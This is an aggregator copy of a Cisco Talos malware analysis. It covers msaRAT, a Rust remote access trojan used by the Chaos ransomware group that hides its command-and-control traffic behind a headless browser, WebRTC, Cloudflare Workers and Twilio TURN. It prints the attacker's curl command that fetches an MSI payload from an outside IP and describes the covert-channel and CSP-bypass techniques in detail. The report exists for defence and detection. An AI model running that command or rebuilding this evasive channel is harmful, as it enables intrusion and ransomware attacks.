惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

P
Proofpoint News Feed
AI
AI
T
Threatpost
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
C
Cybersecurity and Infrastructure Security Agency CISA
Scott Helme
Scott Helme
AWS News Blog
AWS News Blog
P
Privacy & Cybersecurity Law Blog
G
GRAHAM CLULEY
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
CERT Recently Published Vulnerability Notes
Cyberwarzone
Cyberwarzone
NISL@THU
NISL@THU
P
Privacy International News Feed
Schneier on Security
Schneier on Security
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
SecWiki News
SecWiki News
T
Tor Project blog
W
WeLiveSecurity
Security Archives - TechRepublic
Security Archives - TechRepublic
Spread Privacy
Spread Privacy
H
Hacker News: Front Page
Latest news
Latest news
C
Cyber Attacks, Cyber Crime and Cyber Security
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
T
Troy Hunt's Blog
Cisco Talos Blog
Cisco Talos Blog
人人都是产品经理
人人都是产品经理
腾讯CDC
博客园 - 【当耐特】
Engineering at Meta
Engineering at Meta
The Hacker News
The Hacker News
Application and Cybersecurity Blog
Application and Cybersecurity Blog
PCI Perspectives
PCI Perspectives
罗磊的独立博客
阮一峰的网络日志
阮一峰的网络日志
N
News and Events Feed by Topic
The Cloudflare Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
TaoSecurity Blog
TaoSecurity Blog
博客园 - 叶小钗
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
T
Threat Research - Cisco Blogs
量子位
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
美团技术团队
D
Docker
C
CXSECURITY Database RSS Feed - CXSecurity.com
T
Tenable Blog

Cisco Talos Blog

Preview: Cisco Talos at Black Hat USA 2026 Begun, the Patch Wars have The Hunter's Paradox: Is it time to embrace automated threat hunting? UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign Microsoft Patch Tuesday for July 2026 — Snort rules and prominent vulnerabilities [Video] Where protection starts: Cisco Talos Intelligence Integrations The serpent’s tongue: Luring the Python out of its den WolfSSL, GeoVision, VTK vulnerabilities Winning 54% of the time UAT-7810 continues building ORB networks using new malware Catan and Mouse Martin Lee: Running through the Arctic (and the threat landscape) ARToken: Inside an EvilTokens affiliate panel targeting Microsoft 365 Beyond IOCs: AI-enabled threat intelligence Introduction to COM usage by Windows threats Close Encounters of the Human Kind Scripting the disassembler: Local agentic reverse engineering through vbdec’s live COM object model A tale of two eras Microsoft Patch Tuesday for June 2026 — Snort rules and prominent vulnerabilities Reporting from Vegas: Networking, AI, and good boys Winning the cyber marathon with Tony Giandomenico Hypotheses, telemetry, and human judgment: Inside Cisco Talos Threat Hunting Less panic patching, more precision DICOM, Pydicom, GDCM, and Orthanc: A technical tour of what really happens in the heap MediaArea heap-based buffer overflow vulnerabilities Introducing EvidenceForge: Synthetic security logs that don’t look (as) fake The art of being ungovernable TP-Link, Photoshop, OpenVPN, Norton VPN vulnerabilities From PDB strings to MaaS: Tracking a commodity BadIIS ecosystem used by Chinese-speaking threat The time of much patching is coming Ongoing exploitation of Cisco Catalyst SD-WAN vulnerabilities Breaking things to keep them safe with Philippe Laulheret Microsoft Patch Tuesday for May 2026 — Snort rules and prominent vulnerabilities State-sponsored actors, better known as the friends you don’t want Unplug your way to better code Insights into the clustering and reuse of phone numbers in scam emails UAT-8302 and its box full of malware
Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel
Jordyn Dunk · 2026-07-23 · via Cisco Talos Blog

  • Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”.
  • msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications.
  • This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser.
  • msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay.

Overview of Chaos ransomware

Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog.

Figure 1. Chaos ransomware leak site.

Infection chain

Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.

Figure 2. Infection chain.

After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.

curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi

The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.

Figure 3. Properties of “update_ms.msi”

When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.

Figure 4. Structure of the MSI file.

lib.dll (msaRAT)

msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.

Tokio runtime initialization

Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.

As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.

During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.

By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges — without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.

Figure 5. Reading the TOKIO_WORKER_THREADS environment variable and determining the worker thread count.

Hijacking the browser

Locating the Chrome or Edge installation path

After launching the Tokio runtime, msaRAT attempts to manipulate the browser. As the first step toward that goal, it searches for the installation path of Chrome or Edge on the victim machine.

1. Path Discovery via Environment Variables

The malware attempts the following combinations in priority order, checking whether the file exists at each path.

Table 1. Browser search targets and priority order.
Figure 6. Chrome and Edge path discovery (pseudocode).

2. Path Discovery via registry

If no path is found through environment variables, the malware falls back to searching for Chrome exclusively via the registry.

Figure 7. Locating Chrome via registry values

If no matching browser is found, the Chrome DevTools Protocol (CDP) manipulation described later will not be executed.

Launching the browser in headless mode

Upon successfully obtaining the browser path, the malware launches Chrome or Edge in headless mode via the CreateProcessW API. At launch, multiple flags listed in Table 2 are applied, enabling the CDP remote debugging port.

Table 2. List of flags applied at browser launch.
Figure 8. HTTP GET request to “/json/list/”.

In response to this request, the browser returns a JSON array containing information about connectable targets (such as tabs). Each element in the response includes a webSocketDebuggerUrl field, and a CDP session is established by connecting to that URL via WebSocket. Over the established session, a Target.createTarget command is sent to create a new tab, followed by Page.enable and Runtime.enable to activate the JavaScript execution environment.

Inject JavaScript code

After establishing a CDP session over WebSocket, the malware first bypasses Content Security Policy (CSP) using the Page.setBypassCSP command. As shown in Figure 9, the command is referenced from the string blob via pointer and length, then issued as a CDP command.

Figure 9. Issuing CDP commands.

Immediately after bypassing CSP with Page.setBypassCSP, the RAT issues Runtime.addBinding five consecutive times. Runtime.addBinding is a CDP feature that registers callbacks to notify both the browser's JavaScript and the CDP client (the RAT) of events. The binding names to be registered are stored in the string table within the binary. Through a loop, the names “msaOpen,” “msaClose,” “msaError,” “msaMessage,” and “dataAck” are referenced in order, and each entry is sent as a CDP command one at a time.

Figure 10. String table containing the binding names.

After registering each binding name, the RAT uses Runtime.evaluate — a CDP feature for executing JavaScript in the browser — to inject JavaScript code embedded in the .rdata section into the browser. The injected code is embedded in plaintext and consists of two functions.

Figure 11. JavaScript code embedded in the RAT binary (partial excerpt).

The first function initializes the WebRTC channel. It is injected only once, at the time of the initial connection. This function establishes the foundation for communications with the C2. The following sections describe the processing performed by this JavaScript code.

WebRTC DataChannel establishment (using Cloudflare Workers for signaling) and data transfer

1. Retrieving Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) server information

First, a GET request is sent to Cloudflare Workers (“is-01-ast[.]ols-img-12[.]workers[.]dev”) to retrieve the STUN/TURN server configuration required for WebRTC connection as JSON. If this fails, window.msaError() notifies the RAT and terminates.

Figure 12. Retrieving STUN/TURN server information.

Figure 13 shows the GET request and response between the browser and the server hosted on Cloudflare Workers infrastructure. Since the browser is launched in headless mode, the User-Agent is identified as HeadlessChrome. As for the Origin and Referer headers, the request is disguised as originating from Microsoft's official website in order to evade detection.

Figure 13. GET /token/v1/{UID} request (excerpt).

 The response body, as shown in Figure 14, returns WebRTC ICE server configuration containing STUN/TURN server information. The STUN server (“stun2.l.google.com”) is used to discover the external IP address of the infected host in order to traverse NAT, while the TURN server (“global.turn.twilio.com”) acts as a relay point when a direct Peer-to-Peer (P2P) connection cannot be established.

Figure 14. Response body of GET /token/v1/{UID} request (excerpt).

2. Creating the WebRTC PeerConnection and DataChannel

Using the retrieved server information, an RTCPeerConnection is created. The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by genStr(5, 20).

Figure 15. Creating the WebRTC PeerConnection and DataChannel.

3. Connecting events to bindings

The callbacks previously registered via Runtime.addBinding are bound to their respective WebRTC events. When data is received from the C2 (onmessage), the binary data is converted to Base64 and passed to the RAT via window.msaMessage().

Figure 16. Binding each event to its corresponding callback.

4. Interactive Connectivity Establishment (ICE) candidate gathering and SDP negotiation

For WebRTC communication to occur, both parties must first agree on which address to connect to and which format to use for communication. To that end, the malware generates a WebRTC SDP Offer (containing the communication parameters) and gathers ICE candidates to determine the optimal connection path. Once gathering is complete, the SDP Offer is POSTed to the C2 server, which returns an SDP Answer. Applying the C2 server's SDP via setRemoteDescription establishes the WebRTC DataChannnel connection. If ICE candidate gathering does not complete within five seconds, a timeout is triggered and it forcibly executes.

Figure 17. ICE candidate gathering and SDP negotiation.

Figures 18 and 19 show the actual POST /token/v1/{UID} request and response. The response contains the attacker's SDP Answer, which includes no ICE candidates, with the connection address set to “0.0.0.0”. By intentionally omitting the ICE candidates that are normally present in standard WebRTC communications, P2P connections are prevented from being established, resulting in a design where all communications are always routed through TURN. By routing traffic through Twilio's legitimate service, the real IP address of the attacker's server never appears in the network traffic, and the dual-layer infrastructure combining Twilio with Cloudflare Workers makes it significantly difficult to trace the attacker's infrastructure.

Figure 18. POST /token/v1/{UID} request (excerpt).
Figure 19. Response to POST /token/v1/{UID} request (excerpt).

5. Data conversion helper and random string generation

When sending data from the RAT to the browser, the CDP Runtime.evaluate can only pass strings. However, the actual data transmitted over the WebRTC DataChannel is binary data (ArrayBuffer). The function Base64ToArrayBuffer is responsible for handling this conversion.

Figure 20. Data conversion helper.

6. Send queue and flow control

The WebRTC DataChannel has a send buffer, and continuously sending data can result in new data being dropped. To address this issue, the attacker has implemented a queue and flow control mechanism. Data is dequeued and sent when the buffer drops below 24KB. This design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers to the C2.

Figure 21. Send queue and flow control.

The second function is dedicated to data transmission and is injected on demand via Runtime.evaluate each time the RAT sends a command to the C2 through the browser. The actual payload is embedded in place of {base64}.

Figure 22. Function used for data transmission to the C2.

After the RAT injects JavaScript via Runtime.evaluate, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events from the browser. The establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running within the browser. To relay the results of this processing back to the RAT, the registered bindings such as window.msaOpen() and window.msaMessage(base64Data) are called. Each time a binding is called, CDP emits a Runtime.bindingCalled event to the RAT over WebSocket. The JSON format of this event is as follows:

Figure 23. JSON format of Runtime.bindingCalled (example).

The params object contains two fields: name (a string indicating which binding was called) and payload (the argument passed from JavaScript). Based on the value of the name field, the RAT switches its subsequent behavior accordingly.

Table 3. Values of the name field and corresponding RAT behavior.

Communication encryption

By specification, the WebRTC DataChannel communication path is automatically protected by DTLS (transport-layer encryption), which is handled entirely by the browser and is independent of the RAT's code. Separately, msaRAT encrypts the data itself using a ChaCha-Poly1305-based encryption scheme before passing it to the browser, resulting in double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents. The ChaCha-Poly1305-based encryption key is derived through an ECDH key exchange performed at the time the C2 connection is established. When a Handshake frame (0xFE) is received from the C2 immediately after connection, the RAT receives the C2 server's public key, generates its own key pair, derives a shared key and then sends its own public key back to the C2.

Figure 24. ChaCha-Poly1305-based encryption processing (partial excerpt).

C2 command processing

While a simple implementation would receive a command number and invoke the corresponding handler, this RAT employs a two-layer structure: an outer layer that manages connection state and an inner layer that processes frames. These are shown in Tables 4 and 5.

Table 4. Outer switch: Connection state management.
Table 5. Frame processing list.

C2 communication flow

Figure 25 illustrates the communication flow between msaRAT, Cloudflare Workers, Twilio TURN, and the C2 server.

Figure 25. Communication flow among msaRAT, Cloudflare Workers, Twilio TURN, and the C2.

msaRAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint (“is-01-ast[.]ols-img-12[.]workers[.]dev”), but rather than making HTTP connections to this domain itself, it offloads that entirely to the browser. This endpoint is dedicated solely to signaling relay (SDP Offer/Answer exchange) for establishing a WebRTC connection; once the WebRTC connection is established, Cloudflare Workers drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.

The likely rationale for choosing Cloudflare Workers as the signaling relay is that the destination is Cloudflare's infrastructure rather than an attacker-owned server, meaning the destination IP addresses fall within Cloudflare's CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, “*.workers.dev” is a platform domain provided by Cloudflare for developers, and blocking it would broadly impact legitimate Cloudflare Workers deployments making it structurally difficult for defenders to block. In addition, as we mentioned, communications are double-encrypted.

As a result of this design, all network communication from the RAT process itself is limited to “127.0.0[.]1”, and all external communications are observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.

Coverage

The following ClamAV signatures detect and block this threat:

  • Win.Downloader.ChaosRaas-10060321-0

The following SNORT® rules (SIDs) detect and block this threat: 

  • Snort 2: 1:66840, 1:66841, 1:66839
  • Snort 3: 1:301587, 1:66839

Indicators of compromise (IoCs)

The IOCs can also be found in our GitHub repository here.